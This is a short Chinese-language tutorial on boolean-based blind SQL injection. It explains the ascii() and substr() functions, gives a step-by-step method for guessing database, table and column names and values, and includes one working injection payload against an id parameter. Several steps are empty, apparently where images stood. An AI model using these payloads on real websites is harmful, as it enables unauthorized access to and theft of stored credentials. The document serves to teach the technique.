web安全之sql注入布尔注入

条件:sql

当一个页面,存在注入,没显示位,没有数据库出错信息,只能经过页面返回正常不正常进行判断进行sql注入。数据库

 

了解的函数函数

exists()
                   用于检查  子查询是否有返回数据。 结果是 ture或者false
 
ascii()
把字符转化成ascii码
substr()
     substr(string string,num start,num length);
偏移从1开始的 并非0;
 
select ascii(substr((select user()),1,1));
 
步骤
(1) 看是否有注入点,判断 整型仍是字符串
(2)判断查找的数据库的长度
(3) 根据ascii()函数  得出库名
(4) 查找库,判断库的长度 , 根据ascii() 得出表名
(5) 判断表名的长度,根据ascii() 得出列名
 
 
 
1.找注入点
 
 
2.一次判断数据库的版本号
select ascii(substr((select database()),1,1))
 
?id=1' 
and (select ascii(substr((select database()),1,1)) >115)
 --+
3.判断查找的数据库的长度
 
 

4. 获得表名

 

 

 




最终依次猜的表名为users

5. 获得列名

 





同理最终获得第2列列名为username,第3列列名为password

5. 获得列值

 

 

 

依次获得为admin4,同理可得其余数据
相关文章
相关标签/搜索